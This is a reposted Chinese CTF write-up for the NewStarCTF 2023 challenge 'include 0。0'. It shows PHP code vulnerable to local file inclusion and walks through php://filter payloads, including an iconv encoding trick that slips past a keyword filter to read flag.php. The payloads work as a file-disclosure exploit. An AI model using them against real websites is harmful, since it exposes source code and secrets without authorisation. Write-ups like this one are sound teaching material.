自学内容网 自学内容网

[NewStarCTF 2023]include 0。0--详细解析

信息搜集

进入界面,回显是如下php代码:

 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> nope

告诉我们flag在flag.php中。
且有include()函数,说明是文件包含漏洞,我们要传参file,达到获取flag.php内容的目的。

文件包含

if(isset($file) && !preg_match('/base|rot/i',$file))

要传参file,且file的值中不能有base和rot。

data伪协议可以使用:

data://text/plain,<?php phpinfo();?>

但是使用之后发现没有回显:
在这里插入图片描述
data://伪协议的使用前提是allow_url_fopen :on且allow_url_include:on
可能这两个配置被关闭了。
使用php://input伪协议也不行。
那不受这两个配置影响的伪协议还剩php://filter,这个协议的常规用法是:

php://filter/convert.base64-encode/resource=<目标文件名>

但其实还有很多种变种,比如:

php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名>  //将utf8编码转换utf16编码

我们使用变种里的第二个:
在这里插入图片描述
得到flag.

总结

使用php伪协议时要考虑目标服务器是否开启了相关配置。
php://filter有很多变种,目前还不是很熟悉这个伪协议,明天总结一下。


原文地址:https://blog.csdn.net/m0_56019217/article/details/143840393

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!